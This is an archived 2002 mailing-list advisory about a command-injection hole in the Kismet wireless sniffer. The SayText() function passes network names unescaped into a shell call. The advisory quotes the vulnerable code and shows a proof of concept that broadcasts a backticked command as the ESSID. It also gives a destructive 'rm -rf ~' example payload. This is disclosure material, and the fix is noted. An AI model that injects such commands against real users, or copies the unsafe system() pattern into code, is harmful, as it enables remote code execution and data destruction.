New Kismet Packages available - SayText() and suid kismet_server issues

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



I have discovered 2 potentially exploitable holes in the wireless 
sniffer package Kismet. Both issues have been addressed by the author. I 
am in the process of determining if the local command line overflow is 
exploitable or not. The other issue may be dependant on if your OS will 
allow you to specify an essid containing a backtick or a pipe char.

http://www.kismetwireless.net/CHANGELOG

May 28 2002  2.2.2  !! 2.2.2 released - fixes potentially exploitable remote
                       hole in Festival saytext. !!
May 27 2002  2.2.1  !! 2.2.1 released - potentially exploitable local root
                       hole fixed !!

http://www.kismetwireless.net/code/kismet-2.2.2.tar.gz
http://www.kismetwireless.net/code/kismet-2.2.2.diff
 Possible remote code execution via SayText() function of Kismet wireless 
> >>sniffer
> >>If your OS allows essids to contain ` or | and it allows you to broadcast 
> >>them... then this could be used to help abuse someones wireless sniffer.
> >>
> >>Kismet does the following
> >>
> >>// Fork and run a system call to play a sound
> >>void SayText(string player, string text) {
> >>   char snd_call[1024];
> >>
> >>   snprintf(snd_call, 1024, "echo '(SayText \"%s\")' | %s &", 
> >>   text.c_str(),
> >>            player.c_str());
> >>
> >>   if (system(snd_call) < 0) {
> >>	...
> >>
> >>so if my network name is `/bin/sh -c rm -rf ~` then thats a problem
> >>
> >>This function is called in 2 places.... 
> >>
> >>./kismet_server.cc:    snprintf(snd_call, 1024, "echo '(SayText \"%s\")' 
> >>| %s &", text.c_str(),
> >>./kismet_server.cc:                    SayText(festival, text);
> >>./kismet_curses.cc:void SayText(string player, string text) {
> >>./kismet_curses.cc:    snprintf(snd_call, 1024, "echo '(SayText \"%s\")' 
> >>| %s >/dev/null 2>/dev/null &", text.c_str(),
> >>./kismet_curses.cc:                    SayText(festival, text);
> >>
> >>My linux box appears to be able to supply an essid with a backtick 
> >>[root@localhost <mailto:root@localhost> root]# iwconfig eth0 essid "\`/bin/sh -c id\`"
> >>[root@localhost <mailto:root@localhost> root]# iwconfig eth0
> >>eth0      IEEE 802.11-DS  ESSID:"`/bin/sh -c id`"  Nickname:"Prism  I"
> >>         Mode:Managed  Frequency:42.9497GHz  Access Point: 
> >>         44:44:44:44:44:44
> >>         Bit Rate:2Mb/s   Tx-Power=15 dBm   Sensitivity:1/3
> >>         Retry min limit:8   RTS thr:off   Fragment thr:off
> >>         Encryption key:off
> >>         Power Management:off
> >>
> >>
> >>This is to proove the theory... I think since iwconfig lets it happen 
> >>above this is a valid test. My apple base station would NOT allow ` or |  
> >>in its network name so this is all I can do to test this theory.
> >>
> >>in kismet_server.c make the following change. 
> >>
> >>        snprintf(text, 100, "New %s network '%s' detected.",
> >>                            (info.wep ? "En-crypted" : "Un-en-crypted"),
> >>                            //info.ssid);
> >>                            "`/bin/sh -c id`");
> >>
> >>upon firing up the server I was greeted by festival in a british accent 
> >>saying "U I D equals zero G I D equals zero ..." once I dectected a valid 
> >>network. 
> >>again this would require you to create a valid packet with the info.ssid 
> >>set to your command enclosed in backticks. Above I forced this data... 
> >>
> >>This could be a nice form of reverse warfare for "Wardrivers" using 
> >>kismet. have fun
> >>
> >>


-KF




[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux